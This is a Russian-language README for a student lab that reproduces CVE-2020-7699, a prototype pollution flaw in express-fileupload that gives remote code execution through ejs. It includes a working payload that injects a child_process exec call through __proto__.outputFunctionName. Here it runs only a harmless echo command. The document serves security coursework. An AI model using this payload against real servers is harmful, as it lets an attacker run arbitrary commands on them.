
Воспроизведение CVE-2020-7699, курсовая работа по курсу «Принципы безопасности программного обеспечения»
Воспроизведение уязвимости RCE в Node.js (CVE-2020-7699), моя лабораторная работа
Версия Node.js: v14.16.1, убедитесь, что версия Node.js — 14 (другие версии, вероятно, тоже подойдут, я не тестировал)
Версия Python:3.9.5, Python используется только для отправки HTTP-запроса атаки, конкретная версия не требуется.
Просто clone репозиторий, npm i для установки зависимостей. Я предоставил ещё 2 команды:
npm run start-server для запуска целевого сервера (сервера-жертвы)npm run launch-attack для запуска атакиexpress-fileUpload: версии ниже 1.1.10 уязвимы
Уязвимость: prototype pollution в express-fileUpload
Как использовать: загрязнить __proto__.outputFunctionName, чтобы записать команду для выполнения. Пример: echo \"ATTACK SUCCESSFUL\" > attacked.txt
exec_command = "echo \"ATTACK SUCCESSFUL\" > attacked.txt"
{
"__proto__.outputFunctionName": (
None,
f"x;process.mainModule.require('child_process').exec('{exec_command}');x"
)
}
Уязвимость: ejs попытается выполнить xxx.outputFunctionName, который является undefined, но если object.outputFunctionName загрязнён, он выполнит его вместо этого